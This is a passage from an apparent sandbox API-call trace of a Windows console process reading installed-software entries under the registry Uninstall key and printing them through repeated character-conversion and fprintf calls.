lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.391] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.391] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.391] __iob_func () returned 0x7fefd702a80 [0147.391] _fileno (_File=0x7fefd702ab0) returned 1 [0147.391] _errno () returned 0xc4bb0 [0147.391] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.391] _errno () returned 0xc4bb0 [0147.391] GetFileType (hFile=0x50) returned 0x1 [0147.391] lstrlenW (lpString="REG_SZ") returned 6 [0147.391] GetConsoleOutputCP () returned 0x1b5 [0147.391] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.391] GetConsoleOutputCP () returned 0x1b5 [0147.392] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.392] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.392] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.392] __iob_func () returned 0x7fefd702a80 [0147.392] _fileno (_File=0x7fefd702ab0) returned 1 [0147.392] _errno () returned 0xc4bb0 [0147.392] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.392] _errno () returned 0xc4bb0 [0147.392] GetFileType (hFile=0x50) returned 0x1 [0147.392] lstrlenW (lpString=" ") returned 4 [0147.392] GetConsoleOutputCP () returned 0x1b5 [0147.392] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.392] GetConsoleOutputCP () returned 0x1b5 [0147.392] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.392] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.392] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.392] __iob_func () returned 0x7fefd702a80 [0147.392] _fileno (_File=0x7fefd702ab0) returned 1 [0147.392] _errno () returned 0xc4bb0 [0147.392] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.392] _errno () returned 0xc4bb0 [0147.392] GetFileType (hFile=0x50) returned 0x1 [0147.392] lstrlenW (lpString="Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161") returned 62 [0147.392] GetConsoleOutputCP () returned 0x1b5 [0147.393] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0147.393] GetConsoleOutputCP () returned 0x1b5 [0147.393] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161", cchWideChar=62, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161", lpUsedDefaultChar=0x0) returned 62 [0147.393] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 62 [0147.393] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.393] __iob_func () returned 0x7fefd702a80 [0147.393] _fileno (_File=0x7fefd702ab0) returned 1 [0147.393] _errno () returned 0xc4bb0 [0147.393] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.393] _errno () returned 0xc4bb0 [0147.393] GetFileType (hFile=0x50) returned 0x1 [0147.393] lstrlenW (lpString="\n") returned 1 [0147.393] GetConsoleOutputCP () returned 0x1b5 [0147.393] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.393] GetConsoleOutputCP () returned 0x1b5 [0147.393] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.393] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.393] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.394] GetProcessHeap () returned 0x2e0000 [0147.394] GetProcessHeap () returned 0x2e0000 [0147.394] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970) returned 1 [0147.394] GetProcessHeap () returned 0x2e0000 [0147.394] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x301970) returned 0x82 [0147.394] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970 | out: hHeap=0x2e0000) returned 1 [0147.394] __iob_func () returned 0x7fefd702a80 [0147.394] _fileno (_File=0x7fefd702ab0) returned 1 [0147.394] _errno () returned 0xc4bb0 [0147.394] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.394] _errno () returned 0xc4bb0 [0147.394] GetFileType (hFile=0x50) returned 0x1 [0147.394] lstrlenW (lpString="\n") returned 1 [0147.394] GetConsoleOutputCP () returned 0x1b5 [0147.394] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.394] GetConsoleOutputCP () returned 0x1b5 [0147.394] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.394] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.394] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.394] GetProcessHeap () returned 0x2e0000 [0147.394] GetProcessHeap () returned 0x2e0000 [0147.394] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0) returned 1 [0147.394] GetProcessHeap () returned 0x2e0000 [0147.394] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f5bc0) returned 0x28 [0147.394] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f5bc0 | out: hHeap=0x2e0000) returned 1 [0147.394] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x23f784, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x23f784*=0x0, lpcbMaxSubKeyLen=0x23f780, lpcbMaxClassLen=0x0, lpcValues=0x0, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.394] GetProcessHeap () returned 0x2e0000 [0147.394] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x2) returned 0x2fcda0 [0147.395] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}") returned 109 [0147.395] GetProcessHeap () returned 0x2e0000 [0147.395] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xde) returned 0x2ff9a0 [0147.395] GetProcessHeap () returned 0x2e0000 [0147.395] GetProcessHeap () returned 0x2e0000 [0147.395] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.395] GetProcessHeap () returned 0x2e0000 [0147.395] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x2 [0147.395] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.395] GetProcessHeap () returned 0x2e0000 [0147.395] GetProcessHeap () returned 0x2e0000 [0147.395] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0147.395] GetProcessHeap () returned 0x2e0000 [0147.395] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xde [0147.395] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0 | out: hHeap=0x2e0000) returned 1 [0147.395] RegCloseKey (hKey=0x5c) returned 0x0 [0147.395] RegEnumKeyExW (in: hKey=0x58, dwIndex=0x14, lpName=0x2fbb50, lpcchName=0x23f864, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}", lpcchName=0x23f864, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.395] __iob_func () returned 0x7fefd702a80 [0147.395] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.395] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%s\n", _ArgList=0x23f800 | out: _Buffer="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}\n") returned 110 [0147.395] _fileno (_File=0x7fefd702ab0) returned 1 [0147.395] _errno () returned 0xc4bb0 [0147.395] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.395] _errno () returned 0xc4bb0 [0147.395] GetFileType (hFile=0x50) returned 0x1 [0147.395] lstrlenW (lpString="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}\n") returned 110 [0147.395] GetConsoleOutputCP () returned 0x1b5 [0147.395] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}\n", cchWideChar=110, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 110 [0147.395] GetConsoleOutputCP () returned 0x1b5 [0147.396] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}\n", cchWideChar=110, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}\n", lpUsedDefaultChar=0x0) returned 110 [0147.396] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 110 [0147.396] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.396] RegOpenKeyExW (in: hKey=0x58, lpSubKey="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}", ulOptions=0x0, samDesired=0x20019, phkResult=0x23f868 | out: phkResult=0x23f868*=0x5c) returned 0x0 [0147.396] RegQueryInfoKeyW (in: hKey=0x5c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x23f6d0*=0x19, lpcbMaxValueNameLen=0x23f720, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0147.396] GetProcessHeap () returned 0x2e0000 [0147.396] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x28) returned 0x2f5bc0 [0147.396] RegEnumValueW (in: hKey=0x5c, dwIndex=0x0, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="AuthorizedCDFPrefix", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.396] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.396] GetProcessHeap () returned 0x2e0000 [0147.396] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.396] GetProcessHeap () returned 0x2e0000 [0147.396] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.396] GetProcessHeap () returned 0x2e0000 [0147.396] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.396] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="AuthorizedCDFPrefix", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.396] __iob_func () returned 0x7fefd702a80 [0147.396] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.396] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.396] _fileno (_File=0x7fefd702ab0) returned 1 [0147.396] _errno () returned 0xc4bb0 [0147.396] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.397] _errno () returned 0xc4bb0 [0147.397] GetFileType (hFile=0x50) returned 0x1 [0147.397] lstrlenW (lpString=" ") returned 4 [0147.397] GetConsoleOutputCP () returned 0x1b5 [0147.397] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.397] GetConsoleOutputCP () returned 0x1b5 [0147.397] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.397] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.397] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.397] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0147.397] __iob_func () returned 0x7fefd702a80 [0147.397] _fileno (_File=0x7fefd702ab0) returned 1 [0147.397] _errno () returned 0xc4bb0 [0147.397] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.397] _errno () returned 0xc4bb0 [0147.397] GetFileType (hFile=0x50) returned 0x1 [0147.397] lstrlenW (lpString="AuthorizedCDFPrefix") returned 19 [0147.397] GetConsoleOutputCP () returned 0x1b5 [0147.397] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0147.397] GetConsoleOutputCP () returned 0x1b5 [0147.398] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="AuthorizedCDFPrefix", cchWideChar=19, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AuthorizedCDFPrefix", lpUsedDefaultChar=0x0) returned 19 [0147.398] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0147.398] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.398] __iob_func () returned 0x7fefd702a80 [0147.398] _fileno (_File=0x7fefd702ab0) returned 1 [0147.398] _errno () returned 0xc4bb0 [0147.398] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.398] _errno () returned 0xc4bb0 [0147.398] GetFileType (hFile=0x50) returned 0x1 [0147.398] lstrlenW (lpString=" ") returned 4 [0147.398] GetConsoleOutputCP () returned 0x1b5 [0147.398] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.398] GetConsoleOutputCP () returned 0x1b5 [0147.398] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.398] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.398] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.398] __iob_func () returned 0x7fefd702a80 [0147.398] _fileno (_File=0x7fefd702ab0) returned 1 [0147.398] _errno () returned 0xc4bb0 [0147.398] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.398] _errno () returned 0xc4bb0 [0147.398] GetFileType (hFile=0x50) returned 0x1 [0147.398] lstrlenW (lpString="REG_SZ") returned 6 [0147.398] GetConsoleOutputCP () returned 0x1b5 [0147.399] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.399] GetConsoleOutputCP () returned 0x1b5 [0147.399] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.399] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.399] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.399] __iob_func () returned 0x7fefd702a80 [0147.399] _fileno (_File=0x7fefd702ab0) returned 1 [0147.399] _errno () returned 0xc4bb0 [0147.399] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.399] _errno () returned 0xc4bb0 [0147.399] GetFileType (hFile=0x50) returned 0x1 [0147.399] lstrlenW (lpString=" ") returned 4 [0147.399] GetConsoleOutputCP () returned 0x1b5 [0147.399] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.399] GetConsoleOutputCP () returned 0x1b5 [0147.399] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.399] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.399] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.399] __iob_func () returned 0x7fefd702a80 [0147.399] _fileno (_File=0x7fefd702ab0) returned 1 [0147.399] _errno () returned 0xc4bb0 [0147.400] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.400] _errno () returned 0xc4bb0 [0147.400] GetFileType (hFile=0x50) returned 0x1 [0147.400] lstrlenW (lpString="") returned 0 [0147.400] __iob_func () returned 0x7fefd702a80 [0147.400] _fileno (_File=0x7fefd702ab0) returned 1 [0147.400] _errno () returned 0xc4bb0 [0147.400] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.400] _errno () returned 0xc4bb0 [0147.400] GetFileType (hFile=0x50) returned 0x1 [0147.400] lstrlenW (lpString="\n") returned 1 [0147.400] GetConsoleOutputCP () returned 0x1b5 [0147.400] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.400] GetConsoleOutputCP () returned 0x1b5 [0147.400] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.400] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.400] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.400] GetProcessHeap () returned 0x2e0000 [0147.400] GetProcessHeap () returned 0x2e0000 [0147.400] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.400] GetProcessHeap () returned 0x2e0000 [0147.400] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.400] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.400] RegEnumValueW (in: hKey=0x5c, dwIndex=0x1, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Comments", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.400] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x9c) returned 0x0 [0147.400] GetProcessHeap () returned 0x2e0000 [0147.401] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x9e) returned 0x301970 [0147.401] GetProcessHeap () returned 0x2e0000 [0147.401] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x301970) returned 1 [0147.401] GetProcessHeap () returned 0x2e0000 [0147.401] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x301970) returned 0x9e [0147.401] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Comments", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x301970, pcbData=0x23f670*=0x9c | out: pdwType=0x23f5f0*=0x1, pvData="Caution. Removing this product might prevent some applications from running.", pcbData=0x23f670*=0x9a) returned 0x0 [0147.401] __iob_func () returned 0x7fefd702a80 [0147.401] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.401] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.401] _fileno (_File=0x7fefd702ab0) returned 1 [0147.401] _errno () returned 0xc4bb0 [0147.401] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.401] _errno () returned 0xc4bb0 [0147.401] GetFileType (hFile=0x50) returned 0x1 [0147.401] lstrlenW (lpString=" ") returned 4 [0147.401] GetConsoleOutputCP () returned 0x1b5 [0147.401] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.401] GetConsoleOutputCP () returned 0x1b5 [0147.401] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.401] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.401] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.401] lstrlenW (lpString="Comments") returned 8 [0147.401] __iob_func () returned 0x7fefd702a80 [0147.401] _fileno (_File=0x7fefd702ab0) returned 1 [0147.401] _errno () returned 0xc4bb0 [0147.401] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.402] _errno () returned 0xc4bb0 [0147.402] GetFileType (hFile=0x50) returned 0x1 [0147.402] lstrlenW (lpString="Comments") returned 8 [0147.402] GetConsoleOutputCP () returned 0x1b5 [0147.402] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0147.402] GetConsoleOutputCP () returned 0x1b5 [0147.402] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Comments", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Comments", lpUsedDefaultChar=0x0) returned 8 [0147.402] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0147.402] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.402] __iob_func () returned 0x7fefd702a80 [0147.402] _fileno (_File=0x7fefd702ab0) returned 1 [0147.402] _errno () returned 0xc4bb0 [0147.402] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.402] _errno () returned 0xc4bb0 [0147.402] GetFileType (hFile=0x50) returned 0x1 [0147.402] lstrlenW (lpString=" ") returned 4 [0147.402] GetConsoleOutputCP () returned 0x1b5 [0147.402] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.402] GetConsoleOutputCP () returned 0x1b5 [0147.402] WideCharToMultiByte 